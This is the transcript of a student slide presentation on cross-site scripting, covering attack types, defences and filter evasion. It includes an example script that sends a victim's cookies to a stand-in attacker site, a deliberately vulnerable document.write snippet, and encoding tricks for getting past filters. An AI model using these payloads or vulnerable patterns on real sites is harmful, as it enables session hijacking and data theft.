Team Members: Brad Stancel,

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

Nick Feamster CS 6262 Spring 2009
Past, Present and Future By Eoin Keary and Jim Manico
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
Tutorial 6 Creating a Web Form
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
By Philipp Vogt, Florian Nentwich, Nenad Jovanovic, Engin Kirda, Christopher Kruegel, and Giovanni Vigna Network and Distributed System Security(NDSS ‘07)
EECS 354 Network Security Cross Site Scripting (XSS)
Cross Site Scripting a.k.a. XSS Szymon Siewior. Disclaimer Everything that will be shown, was created for strictly educational purposes. You may reuse.
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
Server-Side vs. Client-Side Scripting Languages
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Introduction to the OWASP Top 10. Cross Site Scripting (XSS)  Comes in several flavors:  Stored  Reflective  DOM-Based.
March Intensive: XSS Exploits
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
Web Development & Design Foundations with XHTML Chapter 9 Key Concepts.
Chapter 9 Collecting Data with Forms. A form on a web page consists of form objects such as text boxes or radio buttons into which users type information.
1 Web Developer & Design Foundations with XHTML Chapter 6 Key Concepts.
Workshop 3 Web Application Security Li Weichao March
XP Tutorial 6New Perspectives on HTML and XHTML, Comprehensive 1 Creating Web Page Forms Designing a Product Registration Form Tutorial 6.
1 Creating Web Forms in HTML Web forms collect information from customers Web forms include different control elements including: –Input boxes –Selection.
Architecture Of ASP.NET. What is ASP?  Server-side scripting technology.  Files containing HTML and scripting code.  Access via HTTP requests.  Scripting.
Prevent Cross-Site Scripting (XSS) attack
Chapter 6: Forms JavaScript - Introductory. Previewing the Product Registration Form.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Overview of Previous Lesson(s) Over View  ASP.NET Pages  Modular in nature and divided into the core sections  Page directives  Code Section  Page.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Tutorial 10 Adding Spry Elements and Database Functionality Dreamweaver CS3 Tutorial 101.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
JavaScript, Fourth Edition
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Web Programming: Client/Server Applications Server sends the web pages to the client. –built into Visual Studio for development purposes Client displays.
3-Protecting Systems Dr. John P. Abraham Professor UTPA.
Cross Site Scripting (XSS) Chaitanya Lakshmi
1 Internet Browsing Vulnerabilities and Security ECE4112 Final Lab Ye Yan Frank Park Scott Kim Neil Joshi.
Chapter 8 Cookies And Security JavaScript, Third Edition.
Web Spoofing Steve Newell Mike Falcon Computer Security CIS 4360.
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 1 RubyJax Brent Morris/
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
Tutorial 6 Working with Web Forms. 2New Perspectives on HTML, XHTML, and XML, Comprehensive, 3rd Edition Objectives Explore how Web forms interact with.
Building Secure Web Applications With ASP.Net MVC.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Scripting Languages Client Side and Server Side. Examples of client side/server side Examples of client-side side include: JavaScript Jquery (uses a JavaScript.
Tutorial 6 Working with Web Forms. 2New Perspectives on HTML, XHTML, and XML, Comprehensive, 3rd Edition Objectives Explore how Web forms interact with.
Form Processing Week Four. Form Processing Concepts The principal tool used to process Web forms stored on UNIX servers is a CGI (Common Gateway Interface)
 Web pages originally static  Page is delivered exactly as stored on server  Same information displayed for all users, from all contexts  Dynamic.
What Is XSS ? ! Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to.
Tutorial 6 Creating a Web Form
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
Carrie Estes Collin Donaldson.  Zero day attacks  “zero day”  Web application attacks  Signing up for a class  Hardening the web server  Enhancing.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
National College of Science & Information Technology.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
2440: 141 Web Site Administration Web Forms Instructor: Joseph Nattey.
Group 18: Chris Hood Brett Poche
Web Application Security
CSCE 548 Student Presentation Ryan Labrador
An Introduction to Web Application Security
World Wide Web policy.
Database Driven Websites
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Exploring DOM-Based Cross Site Attacks
Web Application Development Using PHP
Presentation transcript:

Team Members: Brad Stancel, Cross-Site Scripting Group Magyar Wolf Team Members: Brad Stancel, Mark Szarka, And Benjamin Moore

Presentation Overview Why it's Important to Study Affected Languages Types & Examples of Attacks Proposed Solutions Methods used to circumvent XSS prevention Demo of Online Tutorial Conclusion and Questions

Overview - What is Cross Site Scripting? Referred to as XSS Is a type of code injection that circumvents browser security Gains unauthorized access to sensitive information Cookies, Names, Passwords and Other Details Takes advantage of security vulnerabilities within poorly written code Can happen anywhere within a site Potential targets are massive in range As user web interactivity increases, so does the threat of XSS attacks Vulnerabilities are primarily user input driven. Majority of attacks are site-specific - custom built

Reasons Why Studying XSS is Important Can expose CONFIDENTIALITY of data Can violate INTEGRITY of data Can expose holes that affect AVAILABILITY Reasons XSS is increasing: Explosion in web-based applications Developers continue writing insecure code Advent of AJAX applications w/o security knowledge introduces more vulnerabilities More research done that has exposed more XSS bugs

XSS - Common Attacker Uses Session HiJacking - stealing the cookie of a victim and impersonating them Browser HiJacking - replaces or redirects victim's browser to a web page specified by the attacker, or has browser perform certain actions in a web app. Redirect Form Actions - attackers are able to easily steal information by sending it to their computer as well, oftentimes without the victim's knowledge Change Appearance of a Web Page - by changing the appearance of a page attackers can lure unsuspecting victims into giving information they would not otherwise share

XSS Affected Languages Ruby on Rails Python PHP C++ ASP, ASP.NET C# VB.NET J2EE Perl CGI Scripts & Progams

Common Security Concepts On client/browser side commonly violate one of the following: Same-Origin Policy - Scripts are only able to access properties of windows, documents or cookies that have the same origin as themselves. Possible because a website's host value is located in the DOM tree under the domain attribute. 2. Sandboxing - Scripts have no access to the host system and only limited access to the web browser's properties.

DOM-Based Attack aimed at a whole website entity Clients are vulnerable by downloading Hackers HTML package Often exists within gadgets or widgets Harmful intent is executed when the DOM environment has been changed in target browser Client view stays the same for the client because it uses the original client-side script Can violate 'Sandboxing' of client browser With Type 0 cross-site scripting vulnerabilities, the problem exists within a page's client-side script itself. For instance, if a piece of JavaScript accesses a URL request parameter and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS hole will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script. In practice, exploiting such a hole would be very similar to the exploit of Type 1 vulnerabilities (see below), except in one very important situation. Because of the way Internet Explorer treats client-side script in objects located in the "local zone" (for instance, on the client's local hard drive), an XSS hole of this kind in a local page can result in remote execution vulnerabilities. For example, if an attacker hosts a malicious website, which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.

DOM Based XSS Example Can occur locally unlike Persistent and Non-Persistent Implements malicious code inside of DOM element Example: www.site.com/thisstuff.html?name=Shark <Html, body, etc. tags....> <script> stuff = document.URL.indexOf("title=") ; document.write(document.URL.substring(stuff,document.URL.length)); </script> </Html, body, etc. tags....> Attack is on the Client Side Attacker controls DOM elements which he wishes to modify; document."property" (URL, location, etc)

Proposed Solutions (DOM) Verify that JavaScript escapes before data is entered into the HTML Evaluation of data at different levels of contexts within website Execution CSS Attribute Event Handler HTML Example Safe Method: innerText over innerHTML

Non-Persistent Also known as reflected, or Type 1, attacks. Temporary attack - not stored locally Attacks can occur from the victim loading in the harmful package otherwise known as a Uniform Resource Identifier (URI). Often found in links that victim's click on Attackers usually obfuscate the code

Non-Persistent XSS Example Using a 3rd party to receive the package: Email: A false email could be sent out to all the customers on database Along with email URL sent out, malicious script is appended at the end. Ex: www.email.com/yaddayadda.php=somestuff%2%%100%100 %100.................<script>window.location.href- 'www.badpeopleusethissite.de/Jabbathehut/BobaFett.php= Jedi.cookies</script>

Non-Persistent XSS Attack Visual

Persistent XSS Attack is stored locally in the server's database. Display of private data against design of schema Code injections are hidden amongst normal code tags to display desired info Malicious code is merged in the system database off of cached commands without proper HTML escaping.

Persistent XSS Attack Visual

Persistent XSS Example Must be stored into Database Example: Inventory System - Vulnerabilities within a input box of a website box.php?id=1, user see this page Hacker leaves malicious code on site input box in products.php?id=1 Attack is stored in new comment. Browser processes code hidden in source

XSS Proposed Solutions Input Validation / Filter all foreign data Use a whitelist approach- Check if info is what you expect, do not check for "bad" input Use built in functions to help filter data Tie Session Cookies to the IP address of the user who originally logged in Use HTML Sanitation tools when letting users use limited HTML markup Disable Javascript & Cookies if possible (User)

Methods Attackers Use to Circumvent XSS Prevention Transforming tags & mark up language to: ASCII character codes Hex Value Decimal Value Base64 Value Obfuscate IP address of Attacker's server or victim web app: Dword Address Hex Address Octal Address

Demo/Tutorial Ben will now demo the online tutorial he put together......

In conclusion XSS is a serious concern that requires attention Mitigation requires awareness by Developers and Users Security of code and encapsulation of data needs to be a concern and component of every development project All input data should be filtered and sanitized Continuous clearing of cookies and logging out of websites is a good practice